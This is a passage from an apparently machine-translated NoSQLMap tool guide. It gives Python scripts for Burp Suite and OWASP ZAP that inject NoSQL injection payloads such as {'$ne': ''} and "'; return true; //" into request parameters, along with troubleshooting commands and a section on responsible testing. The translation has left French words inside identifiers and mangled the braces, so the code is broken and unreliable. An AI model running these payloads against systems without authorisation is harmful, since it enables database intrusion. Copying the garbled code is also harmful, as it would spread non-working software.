echo "Summary Statistics:"
echo "==================="
total_cibles=$(tail -n +2 "$OUTPUT_DIR/summary.csv"|wc -l)
vulnerable_cibles=$(tail -n +2 "$OUTPUT_DIR/summary.csv"|grep -c "VULNERABLE")
error_cibles=$(tail -n +2 "$OUTPUT_DIR/summary.csv"|grep -c "ERROR")
tested_cibles=$(tail -n +2 "$OUTPUT_DIR/summary.csv"|grep -c "TESTED")
echo "Total cibles: $total_cibles"
echo "Vulnerable cibles: $vulnerable_cibles"
echo "Error cibles: $error_cibles"
echo "Successfully tested: $tested_cibles"
if [ "$total_cibles" -gt 0 ]; then
vulnérabilité_rate=$((vulnerable_cibles * 100 / total_cibles))
echo "vulnérabilité rate: $vulnérabilité_rate%"
fi
Integration exemples
Burp Suite Integration
#!/usr/bin/env python3
# NoSQLMap integration with Burp Suite
import requests
import json
import base64
from urllib.parse import urlparse, parse_qs
class BurpNoSQLIntegration:
def __init__(self, burp_proxy="http://127.0.0.1:8080"):
self.burp_proxy = burp_proxy
self.session = requests.session()
self.session.proxies = \\\\{"http": burp_proxy, "https": burp_proxy\\\\}
self.session.verify = False # Disable SSL verification for Burp
def import_burp_request(self, burp_request_file):
"""Import request from Burp Suite"""
with open(burp_request_file, 'r') as f:
request_data = f.read()
# Parse Burp request format
lines = request_data.split('\n')
# Extract method, URL, and headers
request_line = lines[0]
method, path, protocole = request_line.split(' ')
headers = \\\\{\\\\}
body = ""
body_start = False
for line in lines[1:]:
if line.strip() == "":
body_start = True
continue
if body_start:
body += line + '\n'
else:
if ':' in line:
clé, value = line.split(':', 1)
headers[clé.strip()] = value.strip()
# Extract hôte from headers
hôte = headers.get('hôte', '')
# Construct full URL
scheme = "https" if "443" in hôte else "http"
url = f"\\\\{scheme\\\\}://\\\\{hôte\\\\}\\\\{path\\\\}"
return \\\\{
"method": method,
"url": url,
"headers": headers,
"body": body.strip()
\\\\}
def test_nosql_injection(self, request_data):
"""Test for Noinjection SQL in Burp request"""
results = []
# Test URL paramètres
parsed_url = urlparse(request_data["url"])
if parsed_url.query:
params = parse_qs(parsed_url.query)
for param_name, param_values in params.items():
for param_value in param_values:
result = self.test_paramètre(
request_data,
param_name,
param_value,
"url"
)
if result:
results.append(result)
# Test POST body paramètres
if request_data["method"] == "POST" and request_data["body"]:
content_type = request_data["headers"].get("Content-Type", "")
if "application/json" in content_type:
results.extend(self.test_json_body(request_data))
elif "application/x-www-form-urlencoded" in content_type:
results.extend(self.test_form_body(request_data))
return results
def test_paramètre(self, request_data, param_name, param_value, param_type):
"""Test individual paramètre for Noinjection SQL"""
# Noinjection SQL charge utiles
charge utiles = [
\\\\{"$ne": ""\\\\},
\\\\{"$gt": ""\\\\},
\\\\{"$regex": ".*"\\\\},
\\\\{"$exists": True\\\\},
"'; return true; //",
"\"; return true; //",
"true, true"
]
for charge utile in charge utiles:
# Modify request with charge utile
modified_request = self.inject_charge utile(
request_data,
param_name,
charge utile,
param_type
)
# Send request through Burp
try:
response = self.send_request(modified_request)
# Analyze response for injection indicators
if self.analyze_response(response, request_data):
return \\\\{
"paramètre": param_name,
"paramètre_type": param_type,
"charge utile": charge utile,
"vulnerable": True,
"response_length": len(response.text),
"status_code": response.status_code
\\\\}
except Exception as e:
print(f"Error testing paramètre \\\\{param_name\\\\}: \\\\{e\\\\}")
return None
def inject_charge utile(self, request_data, param_name, charge utile, param_type):
"""Inject charge utile into request paramètre"""
modified_request = request_data.copy()
if param_type == "url":
# Modify URL paramètre
parsed_url = urlparse(request_data["url"])
params = parse_qs(parsed_url.query)
if isinstance(charge utile, dict):
params[param_name] = [json.dumps(charge utile)]
else:
params[param_name] = [str(charge utile)]
# Reconstruct URL
new_query = "&".join([f"\\\\{k\\\\}=\\\\{v[0]\\\\}" for k, v in params.items()])
modified_request["url"] = f"\\\\{parsed_url.scheme\\\\}://\\\\{parsed_url.netloc\\\\}\\\\{parsed_url.path\\\\}?\\\\{new_query\\\\}"
elif param_type == "json":
# Modify JSON body
try:
body_data = json.loads(request_data["body"])
body_data[param_name] = charge utile
modified_request["body"] = json.dumps(body_data)
except:
pass
return modified_request
def send_request(self, request_data):
"""Send request through Burp proxy"""
if request_data["method"] == "GET":
response = self.session.get(
request_data["url"],
headers=request_data["headers"]
)
elif request_data["method"] == "POST":
response = self.session.post(
request_data["url"],
headers=request_data["headers"],
data=request_data["body"]
)
else:
response = self.session.request(
request_data["method"],
request_data["url"],
headers=request_data["headers"],
data=request_data["body"]
)
return response
def analyze_response(self, response, original_request):
"""Analyze response for injection indicators"""
# Check for error messages indicating injection
error_indicators = [
"MongoError",
"CouchDB",
"Redis",
"NoSQL",
"JSON.parse",
"syntaxeError",
"unexpected jeton"
]
response_text = response.text.lower()
for indicator in error_indicators:
if indicator.lower() in response_text:
return True
# Check for significant response length differences
# This would require baseline response for comparison
return False
# utilisation
if __name__ == "__main__":
integration = BurpNoSQLIntegration()
# Import request from Burp
request_data = integration.import_burp_request("burp_request.txt")
# Test for Noinjection SQL
results = integration.test_nosql_injection(request_data)
# Print results
for result in results:
if result["vulnerable"]:
print(f"Vulnerable paramètre found: \\\\{result['paramètre']\\\\}")
print(f"charge utile: \\\\{result['charge utile']\\\\}")
OWASP ZAP Integration
#!/usr/bin/env python3
# NoSQLMap integration with OWASP ZAP
from zapv2 import ZAPv2
import time
import json
class ZAPNoSQLIntegration:
def __init__(self, zap_proxy="http://127.0.0.1:8080"):
self.zap = ZAPv2(proxies=\\\\{'http': zap_proxy, 'https': zap_proxy\\\\})
self.nosql_charge utiles = self.load_nosql_charge utiles()
def load_nosql_charge utiles(self):
"""Load Noinjection SQL charge utiles"""
return [
'\\\\{"$ne":""\\\\}',
'\\\\{"$gt":""\\\\}',
'\\\\{"$regex":".*"\\\\}',
'\\\\{"$exists":true\\\\}',
"'; return true; //",
'"; return true; //',
"true, true",
"false, true"
]
def spider_cible(self, cible_url):
"""Spider cible to discover endpoints"""
print(f"Spidering cible: \\\\{cible_url\\\\}")
# Start spider
spider_id = self.zap.spider.scan(cible_url)
# Wait for spider to complete
while int(self.zap.spider.status(spider_id)) < 100:
print(f"Spider progress: \\\\{self.zap.spider.status(spider_id)\\\\}%")
time.sleep(5)
print("Spider completed")
# Get discovered URLs
urls = self.zap.core.urls()
return urls
def test_nosql_injection(self, cible_url):
"""Test cible for Noinjection SQL vulnerabilities"""
# Spider cible first
urls = self.spider_cible(cible_url)
vulnerabilities = []
for url in urls:
print(f"Testing URL: \\\\{url\\\\}")
# Get URL paramètres
params = self.get_url_paramètres(url)
for param in params:
for charge utile in self.nosql_charge utiles:
# Test paramètre with charge utile
result = self.test_paramètre_injection(url, param, charge utile)
if result:
vulnerabilities.append(result)
return vulnerabilities
def get_url_paramètres(self, url):
"""Extract paramètres from URL"""
from urllib.parse import urlparse, parse_qs
parsed = urlparse(url)
params = parse_qs(parsed.query)
return list(params.clés())
def test_paramètre_injection(self, url, paramètre, charge utile):
"""Test specific paramètre for injection"""
# Modify URL with charge utile
modified_url = self.inject_charge utile_in_url(url, paramètre, charge utile)
# Send request through ZAP
try:
response = self.zap.core.send_request(modified_url)
# Analyze response
if self.analyze_nosql_response(response):
return \\\\{
"url": url,
"paramètre": paramètre,
"charge utile": charge utile,
"vulnerable": True,
"response": response
\\\\}
except Exception as e:
print(f"Error testing \\\\{url\\\\} with charge utile \\\\{charge utile\\\\}: \\\\{e\\\\}")
return None
def inject_charge utile_in_url(self, url, paramètre, charge utile):
"""Inject charge utile into URL paramètre"""
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
parsed = urlparse(url)
params = parse_qs(parsed.query)
# Inject charge utile
params[paramètre] = [charge utile]
# Reconstruct URL
new_query = urlencode(params, doseq=True)
new_parsed = parsed._replace(query=new_query)
return urlunparse(new_parsed)
def analyze_nosql_response(self, response):
"""Analyze response for Noinjection SQL indicators"""
# Check for error messages
error_indicators = [
"MongoError",
"CouchDB",
"Redis",
"NoSQL",
"JSON.parse",
"syntaxeError"
]
response_text = response.lower()
for indicator in error_indicators:
if indicator.lower() in response_text:
return True
return False
def generate_zap_report(self, vulnerabilities, output_file="zap_nosql_report.html"):
"""Generate ZAP-style report for NoSQL vulnerabilities"""
# Add custom alerts to ZAP
for vuln in vulnerabilities:
self.zap.core.add_alert(
risk="High",
confidence="Medium",
name="Noinjection SQL",
Description=f"Noinjection SQL vulnérabilité found in paramètre \\\\{vuln['paramètre']\\\\}",
url=vuln["url"],
param=vuln["paramètre"],
evidence=vuln["charge utile"]
)
# Generate HTML report
report = self.zap.core.htmlreport()
with open(output_file, 'w') as f:
f.write(report)
print(f"Report generated: \\\\{output_file\\\\}")
# utilisation
if __name__ == "__main__":
zap_integration = ZAPNoSQLIntegration()
cible_url = "http://exemple.com"
# Test for Noinjection SQL
vulnerabilities = zap_integration.test_nosql_injection(cible_url)
# Generate report
zap_integration.generate_zap_report(vulnerabilities)
print(f"Found \\\\{len(vulnerabilities)\\\\} Noinjection SQL vulnerabilities")
dépannage
Common Issues
Installation Problems:
# Python dependency issues
pip install --upgrade pip
pip install --upgrade setuptools wheel
# Permission issues
pip install --user nosqlmap
# Virtual environment issues
python3 -m venv nosqlmap-env
source nosqlmap-env/bin/activate
pip install nosqlmap
# Missing system dependencies
sudo apt install python3-dev libffi-dev libssl-dev
connexion Issues:
# Proxy configuration
nosqlmap --cible http://exemple.com --proxy http://127.0.0.1:8080
# SSL/TLS issues
nosqlmap --cible https://exemple.com --disable-ssl-verification
# Timeout issues
nosqlmap --cible http://exemple.com --timeout 30
# User agent issues
nosqlmap --cible http://exemple.com --user-agent "Custom Agent"
Database-Specific Issues:
# MongoDB connexion issues
# Check MongoDB version compatibility
# Verify authentification requirements
# Check network connectivity
# CouchDB access issues
# Verify CouchDB version
# Check authentification settings
# Validate view permissions
# Redis connexion problems
# Check Redis configuration
# Verify authentification
# Test network connectivity
Debugging
Enable detailed debugging and logging:
# Verbose output
nosqlmap --cible http://exemple.com --verbose
# Debug mode
nosqlmap --cible http://exemple.com --debug
# Save all requests/responses
nosqlmap --cible http://exemple.com --save-requests
# Custom logging
nosqlmap --cible http://exemple.com --log-file nosql_debug.log
# Network debugging
nosqlmap --cible http://exemple.com --proxy http://127.0.0.1:8080 --verbose
Security Considerations
Responsible Testing
autorisation: - Only test systems you own or have explicit permission to test - Obtain proper written autorisation before testing - Respect scope limitations and testing windows - Document all testing activities
Impact Minimization: - Use read-only operations when possible - Avoid destructive charge utiles in production environments - Implement rate limiting to avoid DoS - Monitor system Impact during testing
Legal and Compliance
Legal Requirements: - Comply with applicable laws and regulations - Respect terms of service and utilisation policies - Maintain confidentiality of discovered vulnerabilities - Follow responsible disclosure practices
Best Practices: - Use dedicated testing environments when possible - Implement proper Contrôle d'Accèss for testing tools - Secure storage of testing results and evidence - Regular security training and awareness